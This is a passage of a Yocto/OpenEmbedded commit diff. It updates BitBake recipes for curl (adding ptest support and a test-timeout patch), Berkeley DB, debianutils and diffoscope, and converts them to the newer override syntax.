+# This CRL test is looking for m4 files
+1165
+# This CRL test is looking for src files
+1185
+# This test is scanning the source tree
+1222
+# These CRL tests need --libcurl option to be enabled
+1279
+1400
+1401
+1402
+1403
+1404
+1405
+1465
diff --git a/meta/recipes-support/curl/curl/no-test-timeout.patch b/meta/recipes-support/curl/curl/no-test-timeout.patch
new file mode 100644
index 0000000000..7122b6f043
--- /dev/null
+++ b/meta/recipes-support/curl/curl/no-test-timeout.patch
@@ -0,0 +1,25 @@
+From 42cddb52e821cfc2f09f1974742714e5f2f1856e Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Fri, 15 Mar 2024 14:37:37 +0000
+Subject: [PATCH] Set the max-time timeout to 600 so the timeout is 10 minutes
+ instead of 13 seconds.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ tests/servers.pm | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/servers.pm b/tests/servers.pm
+index d4472d5..9999938 100644
+--- a/tests/servers.pm
++++ b/tests/servers.pm
+@@ -120,7 +120,7 @@ my $sshdverstr; # for socks server, ssh daemon version string
+ my $sshderror; # for socks server, ssh daemon version error
+ my %doesntrun; # servers that don't work, identified by pidfile
+ my %PORT = (nolisten => 47); # port we use for a local non-listening service
+-my $server_response_maxtime=13;
++my $server_response_maxtime=600;
+ my $httptlssrv = find_httptlssrv();
+ my %run; # running server
+ my %runcert; # cert file currently in use by an ssl running server
diff --git a/meta/recipes-support/curl/curl/run-ptest b/meta/recipes-support/curl/curl/run-ptest
new file mode 100644
index 0000000000..3d25f3d90b
--- /dev/null
+++ b/meta/recipes-support/curl/curl/run-ptest
@@ -0,0 +1,11 @@
+#!/bin/sh
+
+cd tests
+
+# Run all tests, don't stop on first failure
+# Don't use valgrind if it is found
+# Use automake-style output
+# Run four tests in parallel
+# Print log output on failure
+# Don't run the flaky or timing dependent tests
+./runtests.pl -a -n -am -j4 -p !flaky !timing-dependent
diff --git a/meta/recipes-support/curl/curl_7.71.1.bb b/meta/recipes-support/curl/curl_7.71.1.bb
deleted file mode 100644
index f028f1fdd5..0000000000
--- a/meta/recipes-support/curl/curl_7.71.1.bb
+++ /dev/null
@@ -1,83 +0,0 @@
-SUMMARY = "Command line tool and library for client-side URL transfers"
-HOMEPAGE = "http://curl.haxx.se/"
-BUGTRACKER = "http://curl.haxx.se/mail/list.cgi?list=curl-tracker"
-SECTION = "console/network"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2e9fb35867314fe31c6a4977ef7dd531"
-
-SRC_URI = "http://curl.haxx.se/download/curl-${PV}.tar.bz2 \
- file://0001-replace-krb5-config-with-pkg-config.patch \
-"
-
-SRC_URI[sha256sum] = "9d52a4d80554f9b0d460ea2be5d7be99897a1a9f681ffafe739169afd6b4f224"
-
-CVE_PRODUCT = "curl libcurl"
-inherit autotools pkgconfig binconfig multilib_header
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} gnutls libidn proxy threaded-resolver verbose zlib"
-PACKAGECONFIG_class-native = "ipv6 proxy ssl threaded-resolver verbose zlib"
-PACKAGECONFIG_class-nativesdk = "ipv6 proxy ssl threaded-resolver verbose zlib"
-
-# 'ares' and 'threaded-resolver' are mutually exclusive
-PACKAGECONFIG[ares] = "--enable-ares,--disable-ares,c-ares,,,threaded-resolver"
-PACKAGECONFIG[brotli] = "--with-brotli,--without-brotli,brotli"
-PACKAGECONFIG[builtinmanual] = "--enable-manual,--disable-manual"
-PACKAGECONFIG[dict] = "--enable-dict,--disable-dict,"
-PACKAGECONFIG[gnutls] = "--with-gnutls,--without-gnutls,gnutls"
-PACKAGECONFIG[gopher] = "--enable-gopher,--disable-gopher,"
-PACKAGECONFIG[imap] = "--enable-imap,--disable-imap,"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-PACKAGECONFIG[krb5] = "--with-gssapi,--without-gssapi,krb5"
-PACKAGECONFIG[ldap] = "--enable-ldap,--disable-ldap,"
-PACKAGECONFIG[ldaps] = "--enable-ldaps,--disable-ldaps,"
-PACKAGECONFIG[libidn] = "--with-libidn2,--without-libidn2,libidn2"
-PACKAGECONFIG[libssh2] = "--with-libssh2,--without-libssh2,libssh2"
-PACKAGECONFIG[mbedtls] = "--with-mbedtls=${STAGING_DIR_TARGET},--without-mbedtls,mbedtls"
-PACKAGECONFIG[mqtt] = "--enable-mqtt,--disable-mqtt,"
-PACKAGECONFIG[nghttp2] = "--with-nghttp2,--without-nghttp2,nghttp2"
-PACKAGECONFIG[pop3] = "--enable-pop3,--disable-pop3,"
-PACKAGECONFIG[proxy] = "--enable-proxy,--disable-proxy,"
-PACKAGECONFIG[rtmpdump] = "--with-librtmp,--without-librtmp,rtmpdump"
-PACKAGECONFIG[rtsp] = "--enable-rtsp,--disable-rtsp,"
-PACKAGECONFIG[smb] = "--enable-smb,--disable-smb,"
-PACKAGECONFIG[smtp] = "--enable-smtp,--disable-smtp,"
-PACKAGECONFIG[ssl] = "--with-ssl --with-random=/dev/urandom,--without-ssl,openssl"
-PACKAGECONFIG[nss] = "--with-nss,--without-nss,nss"
-PACKAGECONFIG[telnet] = "--enable-telnet,--disable-telnet,"
-PACKAGECONFIG[tftp] = "--enable-tftp,--disable-tftp,"
-PACKAGECONFIG[threaded-resolver] = "--enable-threaded-resolver,--disable-threaded-resolver,,,,ares"
-PACKAGECONFIG[verbose] = "--enable-verbose,--disable-verbose"
-PACKAGECONFIG[zlib] = "--with-zlib=${STAGING_LIBDIR}/../,--without-zlib,zlib"
-
-EXTRA_OECONF = " \
- --disable-libcurl-option \
- --disable-ntlm-wb \
- --enable-crypto-auth \
- --with-ca-bundle=${sysconfdir}/ssl/certs/ca-certificates.crt \
- --without-libmetalink \
- --without-libpsl \
- --enable-debug \
- --enable-optimize \
- --disable-curldebug \
-"
-
-do_install_append_class-target() {
- # cleanup buildpaths from curl-config
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- ${D}${bindir}/curl-config
-}
-
-PACKAGES =+ "lib${BPN}"
-
-FILES_lib${BPN} = "${libdir}/lib*.so.*"
-RRECOMMENDS_lib${BPN} += "ca-certificates"
-
-FILES_${PN} += "${datadir}/zsh"
-
-inherit multilib_script
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/curl-config"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/curl/curl_8.7.1.bb b/meta/recipes-support/curl/curl_8.7.1.bb
new file mode 100644
index 0000000000..c6654bbad6
--- /dev/null
+++ b/meta/recipes-support/curl/curl_8.7.1.bb
@@ -0,0 +1,149 @@
+SUMMARY = "Command line tool and library for client-side URL transfers"
+DESCRIPTION = "It uses URL syntax to transfer data to and from servers. \
+curl is a widely used because of its ability to be flexible and complete \
+complex tasks. For example, you can use curl for things like user authentication, \
+HTTP post, SSL connections, proxy support, FTP uploads, and more!"
+HOMEPAGE = "https://curl.se/"
+BUGTRACKER = "https://github.com/curl/curl/issues"
+SECTION = "console/network"
+LICENSE = "curl"
+LIC_FILES_CHKSUM = "file://COPYING;md5=eed2e5088e1ac619c9a1c747da291d75"
+
+SRC_URI = " \
+ https://curl.se/download/${BP}.tar.xz \
+ file://run-ptest \
+ file://disable-tests \
+ file://no-test-timeout.patch \
+"
+SRC_URI[sha256sum] = "6fea2aac6a4610fbd0400afb0bcddbe7258a64c63f1f68e5855ebc0c659710cd"
+
+# Curl has used many names over the years...
+CVE_PRODUCT = "haxx:curl haxx:libcurl curl:curl curl:libcurl libcurl:libcurl daniel_stenberg:curl"
+
+inherit autotools pkgconfig binconfig multilib_header ptest
+
+# Entropy source for random PACKAGECONFIG option
+RANDOM ?= "/dev/urandom"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} aws basic-auth bearer-auth digest-auth negotiate-auth libidn openssl proxy random threaded-resolver verbose zlib"
+PACKAGECONFIG:class-native = "ipv6 openssl proxy random threaded-resolver verbose zlib"
+PACKAGECONFIG:class-nativesdk = "ipv6 openssl proxy random threaded-resolver verbose zlib"
+
+# 'ares' and 'threaded-resolver' are mutually exclusive
+PACKAGECONFIG[ares] = "--enable-ares,--disable-ares,c-ares,,,threaded-resolver"
+PACKAGECONFIG[aws] = "--enable-aws,--disable-aws"
+PACKAGECONFIG[basic-auth] = "--enable-basic-auth,--disable-basic-auth"
+PACKAGECONFIG[bearer-auth] = "--enable-bearer-auth,--disable-bearer-auth"
+PACKAGECONFIG[brotli] = "--with-brotli,--without-brotli,brotli"
+PACKAGECONFIG[builtinmanual] = "--enable-manual,--disable-manual"
+# Don't use this in production
+PACKAGECONFIG[debug] = "--enable-debug,--disable-debug"
+PACKAGECONFIG[dict] = "--enable-dict,--disable-dict,"
+PACKAGECONFIG[digest-auth] = "--enable-digest-auth,--disable-digest-auth"
+PACKAGECONFIG[gnutls] = "--with-gnutls,--without-gnutls,gnutls"
+PACKAGECONFIG[gopher] = "--enable-gopher,--disable-gopher,"
+PACKAGECONFIG[imap] = "--enable-imap,--disable-imap,"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[kerberos-auth] = "--enable-kerberos-auth,--disable-kerberos-auth"
+PACKAGECONFIG[krb5] = "--with-gssapi,--without-gssapi,krb5"
+PACKAGECONFIG[ldap] = "--enable-ldap,--disable-ldap,openldap"
+PACKAGECONFIG[ldaps] = "--enable-ldaps,--disable-ldaps,openldap"
+PACKAGECONFIG[libgsasl] = "--with-libgsasl,--without-libgsasl,libgsasl"
+PACKAGECONFIG[libidn] = "--with-libidn2,--without-libidn2,libidn2"
+PACKAGECONFIG[libssh2] = "--with-libssh2,--without-libssh2,libssh2"
+PACKAGECONFIG[mbedtls] = "--with-mbedtls=${STAGING_DIR_TARGET},--without-mbedtls,mbedtls"
+PACKAGECONFIG[mqtt] = "--enable-mqtt,--disable-mqtt,"
+PACKAGECONFIG[negotiate-auth] = "--enable-negotiate-auth,--disable-negotiate-auth"
+PACKAGECONFIG[nghttp2] = "--with-nghttp2,--without-nghttp2,nghttp2"
+PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl"
+PACKAGECONFIG[pop3] = "--enable-pop3,--disable-pop3,"
+PACKAGECONFIG[proxy] = "--enable-proxy,--disable-proxy,"
+PACKAGECONFIG[random] = "--with-random=${RANDOM},--without-random"
+PACKAGECONFIG[rtmpdump] = "--with-librtmp,--without-librtmp,rtmpdump"
+PACKAGECONFIG[rtsp] = "--enable-rtsp,--disable-rtsp,"
+PACKAGECONFIG[smb] = "--enable-smb,--disable-smb,"
+PACKAGECONFIG[smtp] = "--enable-smtp,--disable-smtp,"
+PACKAGECONFIG[telnet] = "--enable-telnet,--disable-telnet,"
+PACKAGECONFIG[tftp] = "--enable-tftp,--disable-tftp,"
+PACKAGECONFIG[threaded-resolver] = "--enable-threaded-resolver,--disable-threaded-resolver,,,,ares"
+PACKAGECONFIG[verbose] = "--enable-verbose,--disable-verbose"
+PACKAGECONFIG[zlib] = "--with-zlib=${STAGING_LIBDIR}/../,--without-zlib,zlib"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
+
+EXTRA_OECONF = " \
+ --disable-libcurl-option \
+ --disable-ntlm-wb \
+ --with-ca-bundle=${sysconfdir}/ssl/certs/ca-certificates.crt \
+ --without-libpsl \
+ --enable-optimize \
+ ${@'--without-ssl' if (bb.utils.filter('PACKAGECONFIG', 'gnutls mbedtls openssl', d) == '') else ''} \
+"
+
+fix_absolute_paths () {
+ # cleanup buildpaths from curl-config
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's|${@" ".join(d.getVar("DEBUG_PREFIX_MAP").split())}||g' \
+ ${D}${bindir}/curl-config
+}
+
+do_install:append:class-target() {
+ fix_absolute_paths
+}
+
+do_install:append:class-nativesdk() {
+ fix_absolute_paths
+}
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/tests
+}
+
+do_install_ptest() {
+ cat ${WORKDIR}/disable-tests >> ${S}/tests/data/DISABLED
+ rm -f ${B}/tests/configurehelp.pm
+ cp -rf ${B}/tests ${D}${PTEST_PATH}
+ rm -f ${D}${PTEST_PATH}/tests/libtest/.libs/libhostname.la
+ rm -f ${D}${PTEST_PATH}/tests/libtest/libhostname.la
+ mv ${D}${PTEST_PATH}/tests/libtest/.libs/* ${D}${PTEST_PATH}/tests/libtest/
+ mv ${D}${PTEST_PATH}/tests/libtest/libhostname.so ${D}${PTEST_PATH}/tests/libtest/.libs/
+ mv ${D}${PTEST_PATH}/tests/http/clients/.libs/* ${D}${PTEST_PATH}/tests/http/clients/
+ cp -rf ${S}/tests ${D}${PTEST_PATH}
+ find ${D}${PTEST_PATH}/ -type f -name Makefile.am -o -name Makefile.in -o -name Makefile -delete
+ install -d ${D}${PTEST_PATH}/src
+ ln -sf ${bindir}/curl ${D}${PTEST_PATH}/src/curl
+ cp -rf ${D}${bindir}/curl-config ${D}${PTEST_PATH}
+}
+
+RDEPENDS:${PN}-ptest += " \
+ bash \
+ perl-module-b \
+ perl-module-base \
+ perl-module-cwd \
+ perl-module-digest \
+ perl-module-digest-md5 \
+ perl-module-file-basename \
+ perl-module-file-spec \
+ perl-module-file-temp \
+ perl-module-io-socket \
+ perl-module-ipc-open2 \
+ perl-module-list-util \
+ perl-module-memoize \
+ perl-module-storable \
+ perl-module-time-hires \
+"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us"
+
+PACKAGES =+ "lib${BPN}"
+
+FILES:lib${BPN} = "${libdir}/lib*.so.*"
+RRECOMMENDS:lib${BPN} += "ca-certificates"
+
+FILES:${PN} += "${datadir}/zsh"
+
+inherit multilib_script
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/curl-config"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch b/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch
index a4ff2ecb0c..c82e7c375f 100644
--- a/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch
+++ b/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch
@@ -7,7 +7,7 @@ db5 does not build because it is redefining a C++11 standard
library identifier, atomic_init(). Therefore prefix all
its internal defines with '__db_', to avoid collisions.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
diff --git a/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch b/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch
index 571708e03e..2374885e77 100644
--- a/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch
+++ b/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch
@@ -11,7 +11,7 @@ Fixes
../db-5.3.28/src/dbinc/atomic.h:179:19: error: definition of builtin function '__atomic_compare_exchange'
static inline int __atomic_compare_exchange(
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
diff --git a/meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch b/meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch
index 9d51a44a26..d238b0f063 100644
--- a/meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch
+++ b/meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch
@@ -10,7 +10,7 @@ its 12-bytes here and libc has 16-bytes
This can cause problems especially with 64bit time_t
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
src/dbinc/clock.h | 17 +----------------
diff --git a/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch b/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch
index cb28db1343..a574cf67b9 100644
--- a/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch
+++ b/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch
@@ -7,7 +7,7 @@ This helps cross compile when tag inference via heuristics
fail because CC variable is having -fPIE -pie and libtool
smartly removes it when building libraries
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
diff --git a/meta/recipes-support/db/db/fix-parallel-build.patch b/meta/recipes-support/db/db/fix-parallel-build.patch
index 27632e1ddb..42c2407cf2 100644
--- a/meta/recipes-support/db/db/fix-parallel-build.patch
+++ b/meta/recipes-support/db/db/fix-parallel-build.patch
@@ -2,7 +2,7 @@ With higher paralelism it sometimes fails with:
libtool: link: `util_log.lo' is not a valid libtool object
make: *** [db_replicate] Error 1
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
diff --git a/meta/recipes-support/db/db/sequence-type.patch b/meta/recipes-support/db/db/sequence-type.patch
index a6fe3d62a0..fc9f7f0113 100644
--- a/meta/recipes-support/db/db/sequence-type.patch
+++ b/meta/recipes-support/db/db/sequence-type.patch
@@ -6,7 +6,7 @@ in stdint.h.
This then breaks the overly complicated type check but as we know that int64_t
exists and works, we can just delete that.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Ross Burton <ross.burton@intel.com>
--- a/dist/aclocal/sequence.m4~ 2013-09-09 16:35:02.000000000 +0100
diff --git a/meta/recipes-support/db/db_5.3.28.bb b/meta/recipes-support/db/db_5.3.28.bb
index 318efcb61d..a99d5cea62 100644
--- a/meta/recipes-support/db/db_5.3.28.bb
+++ b/meta/recipes-support/db/db_5.3.28.bb
@@ -10,14 +10,14 @@
# same system at the same time if really necessary.
SECTION = "libs"
SUMMARY = "Berkeley Database v5"
+DESCRIPTION = "Provides the foundational storage services for your application, no matter how demanding and unique your requirements may seem to be"
HOMEPAGE = "https://www.oracle.com/database/technologies/related/berkeleydb.html"
LICENSE = "Sleepycat"
-RCONFLICTS_${PN} = "db3"
+RCONFLICTS:${PN} = "db3"
-CVE_PRODUCT = "oracle_berkeley_db"
+CVE_PRODUCT = "oracle_berkeley_db berkeley_db"
CVE_VERSION = "11.2.${PV}"
-PR = "r1"
PE = "1"
SRC_URI = "https://download.oracle.com/berkeley-db/db-${PV}.tar.gz"
@@ -46,7 +46,7 @@ inherit autotools
inherit lib_package
PACKAGES =+ "${PN}-cxx"
-FILES_${PN}-cxx = "${libdir}/*cxx*so"
+FILES:${PN}-cxx = "${libdir}/*cxx*so"
# The dev package has the .so link (as in db3) and the .a's -
# it is therefore incompatible (cannot be installed at the
@@ -65,8 +65,6 @@ PACKAGECONFIG ??= ""
PACKAGECONFIG[verify] = "--enable-verify, --disable-verify"
PACKAGECONFIG[dbm] = "--enable-dbm,--disable-dbm,"
-EXTRA_OEMAKE += "LIBTOOL='./${HOST_SYS}-libtool'"
-
EXTRA_AUTORECONF += "--exclude=autoheader -I ${S}/dist/aclocal -I${S}/dist/aclocal_java"
AUTOTOOLS_SCRIPT_PATH = "${S}/dist"
@@ -74,7 +72,7 @@ AUTOTOOLS_SCRIPT_PATH = "${S}/dist"
# configure.
CONFIG_SITE = ""
-oe_runconf_prepend() {
+oe_runconf:prepend() {
. ${S}/dist/RELEASE
# Edit version information we couldn't pre-compute.
sed -i -e "s/__EDIT_DB_VERSION_FAMILY__/$DB_VERSION_FAMILY/g" \
@@ -88,12 +86,12 @@ oe_runconf_prepend() {
-e "s/__EDIT_DB_VERSION__/$DB_VERSION/g" ${S}/dist/configure
}
-do_compile_prepend() {
+do_compile:prepend() {
# Stop libtool adding RPATHs
- sed -i -e 's|hardcode_into_libs=yes|hardcode_into_libs=no|' ${B}/${HOST_SYS}-libtool
+ sed -i -e 's|hardcode_into_libs=yes|hardcode_into_libs=no|' ${B}/libtool
}
-do_install_append() {
+do_install:append() {
mkdir -p ${D}/${includedir}/db51
mv ${D}/${includedir}/db.h ${D}/${includedir}/db51/.
mv ${D}/${includedir}/db_cxx.h ${D}/${includedir}/db51/.
@@ -114,7 +112,7 @@ do_install_append() {
fi
}
-INSANE_SKIP_${PN} = "dev-so"
-INSANE_SKIP_${PN}-cxx = "dev-so"
+INSANE_SKIP:${PN} = "dev-so"
+INSANE_SKIP:${PN}-cxx = "dev-so"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/debianutils/debianutils_4.11.bb b/meta/recipes-support/debianutils/debianutils_4.11.bb
deleted file mode 100644
index ac3d5b0267..0000000000
--- a/meta/recipes-support/debianutils/debianutils_4.11.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "Miscellaneous utilities specific to Debian"
-SECTION = "base"
-LICENSE = "GPLv2 & SMAIL_GPL"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=9b912cd0cc654134c0ef3424a0705b94"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/d/${BPN}/${BPN}_${PV}.tar.xz"
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/d/${BPN}/"
-
-SRC_URI[sha256sum] = "bb5ce6290696b0d623377521ed217f484aa98f7346c5f7c48f9ae3e1acfb7151"
-
-inherit autotools update-alternatives
-
-do_configure_prepend() {
- sed -i -e 's:tempfile.1 which.1:which.1:g' ${S}/Makefile.am
-}
-
-do_install_append() {
- if [ "${base_bindir}" != "${bindir}" ]; then
- # Debian places some utils into ${base_bindir} as does busybox
- install -d ${D}${base_bindir}
- for app in run-parts tempfile; do
- mv ${D}${bindir}/$app ${D}${base_bindir}/$app
- done
- fi
-}
-
-# Note that we package the update-alternatives name.
-#
-PACKAGES =+ "${PN}-run-parts"
-FILES_${PN}-run-parts = "${base_bindir}/run-parts.debianutils"
-
-RDEPENDS_${PN} += "${PN}-run-parts"
-RDEPENDS_${PN}_class-native = ""
-
-ALTERNATIVE_PRIORITY = "30"
-ALTERNATIVE_${PN} = "add-shell installkernel remove-shell savelog tempfile which"
-
-ALTERNATIVE_PRIORITY_${PN}-run-parts = "60"
-ALTERNATIVE_${PN}-run-parts = "run-parts"
-
-ALTERNATIVE_${PN}-doc = "which.1"
-ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
-
-ALTERNATIVE_LINK_NAME[add-shell] = "${sbindir}/add-shell"
-ALTERNATIVE_LINK_NAME[installkernel] = "${sbindir}/installkernel"
-ALTERNATIVE_LINK_NAME[remove-shell] = "${sbindir}/remove-shell"
-ALTERNATIVE_LINK_NAME[run-parts] = "${base_bindir}/run-parts"
-ALTERNATIVE_LINK_NAME[savelog] = "${bindir}/savelog"
-ALTERNATIVE_LINK_NAME[tempfile] = "${base_bindir}/tempfile"
-ALTERNATIVE_LINK_NAME[which] = "${bindir}/which"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/debianutils/debianutils_5.17.bb b/meta/recipes-support/debianutils/debianutils_5.17.bb
new file mode 100644
index 0000000000..c5f25bae40
--- /dev/null
+++ b/meta/recipes-support/debianutils/debianutils_5.17.bb
@@ -0,0 +1,58 @@
+SUMMARY = "Miscellaneous utilities specific to Debian"
+DESCRIPTION = "Provides a number of small utilities which are used \
+primarily by the installation scripts of Debian packages, although \
+you may use them directly. "
+HOMEPAGE = "https://packages.debian.org/sid/debianutils"
+BUGTRACKER = "https://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=debianutils;dist=unstable"
+SECTION = "base"
+LICENSE = "GPL-2.0-only & SMAIL_GPL"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=4b667f30411d21bc8fd7db85d502a8e9"
+
+SRC_URI = "git://salsa.debian.org/debian/debianutils.git;protocol=https;branch=master \
+ "
+
+SRCREV = "baf12e98a02883d1b76081e32f2185ee3497570b"
+
+inherit autotools update-alternatives
+
+S = "${WORKDIR}/git"
+
+# Disable po4a (translated manpages) sub-directory, as that requires po4a to build
+do_configure:prepend() {
+ sed -i -e 's:po4a::g' ${S}/Makefile.am
+}
+
+
+do_install:append() {
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ # Debian places some utils into ${base_bindir} as does busybox
+ install -d ${D}${base_bindir}
+ for app in run-parts; do
+ mv ${D}${bindir}/$app ${D}${base_bindir}/$app
+ done
+ fi
+ mv ${D}${bindir}/which.debianutils ${D}${bindir}/which
+}
+
+# Note that we package the update-alternatives name.
+#
+PACKAGES =+ "${PN}-run-parts"
+FILES:${PN}-run-parts = "${base_bindir}/run-parts.debianutils"
+
+RDEPENDS:${PN} += "${PN}-run-parts"
+RDEPENDS:${PN}:class-native = ""
+
+ALTERNATIVE_PRIORITY = "30"
+ALTERNATIVE:${PN} = "add-shell installkernel remove-shell savelog which"
+
+ALTERNATIVE_PRIORITY_${PN}-run-parts = "60"
+ALTERNATIVE:${PN}-run-parts = "run-parts"
+
+ALTERNATIVE_LINK_NAME[add-shell] = "${sbindir}/add-shell"
+ALTERNATIVE_LINK_NAME[installkernel] = "${sbindir}/installkernel"
+ALTERNATIVE_LINK_NAME[remove-shell] = "${sbindir}/remove-shell"
+ALTERNATIVE_LINK_NAME[run-parts] = "${base_bindir}/run-parts"
+ALTERNATIVE_LINK_NAME[savelog] = "${bindir}/savelog"
+ALTERNATIVE_LINK_NAME[which] = "${bindir}/which"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/diffoscope/diffoscope_153.bb b/meta/recipes-support/diffoscope/diffoscope_153.bb
deleted file mode 100644
index 77f5254aec..0000000000
--- a/meta/recipes-support/diffoscope/diffoscope_153.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "in-depth comparison of files, archives, and directories"
-HOMEPAGE = "https://diffoscope.org/"
-LICENSE = "GPL-3.0+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-PYPI_PACKAGE = "diffoscope"
-
-inherit pypi setuptools3
-
-SRC_URI[sha256sum] = "b5104b5e72252df45ba6b7cbb0169e2e3407715b6b063fa5b38a2649b0d719a2"
-
-RDEPENDS_${PN} += "binutils vim squashfs-tools python3-libarchive-c python3-magic"
-
-# Dependencies don't build for musl
-COMPATIBLE_HOST_libc-musl = 'null'
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/diffoscope/diffoscope_260.bb b/meta/recipes-support/diffoscope/diffoscope_260.bb
new file mode 100644
index 0000000000..297a53fb53
--- /dev/null
+++ b/meta/recipes-support/diffoscope/diffoscope_260.bb
@@ -0,0 +1,43 @@
+SUMMARY = "in-depth comparison of files, archives, and directories"
+DESCRIPTION = "Tries to get to the bottom of what makes files or directories \
+different. It will recursively unpack archives of many kinds and transform \
+various binary formats into more human-readable form to compare them. \
+It can compare two tarballs, ISO images, or PDF just as easily."
+HOMEPAGE = "https://diffoscope.org/"
+BUGTRACKER = "https://salsa.debian.org/reproducible-builds/diffoscope/-/issues"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+PYPI_PACKAGE = "diffoscope"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "405a55502c8b2c988e46c0800d6a93e8e4e7632c1542b0a540dda50aeea41dac"
+
+RDEPENDS:${PN} += "\
+ binutils \
+ python3-curses \
+ python3-difflib \
+ python3-fcntl \
+ python3-json \
+ python3-libarchive-c \
+ python3-magic \
+ python3-multiprocessing \
+ python3-pprint \
+ python3-rpm \
+ squashfs-tools \
+ vim \
+ "
+
+# Dependencies don't build for musl
+COMPATIBLE_HOST:libc-musl = 'null'
+
+do_install:append:class-native() {
+ create_wrapper ${D}${bindir}/diffoscope \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ LD_LIBRARY_PATH=${STAGING_LIBDIR_NATIVE} \
+ RPM_ETCCONFIGDIR=${STAGING_DIR_NATIVE}
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/dos2unix/dos2unix_7.4.1.bb b/meta/recipes-support/dos2unix/dos2unix_7.4.1.bb
deleted file mode 100644
index 1623285fd0..0000000000
--- a/meta/recipes-support/dos2unix/dos2unix_7.4.1.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "Convert text file line endings between CRLF and LF"
-DESCRIPTION = "The Dos2unix package includes utilities dos2unix and \
-unix2dos to convert plain text files in DOS or Mac format to Unix \
-format and vice versa."
-HOMEPAGE = "http://waterlan.home.xs4all.nl/dos2unix.html"
-SECTION = "support"
-
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING.txt;md5=0c977b18f0a384d03597a517d7d03e32"
-
-SRC_URI = "git://git.code.sf.net/p/dos2unix/dos2unix"
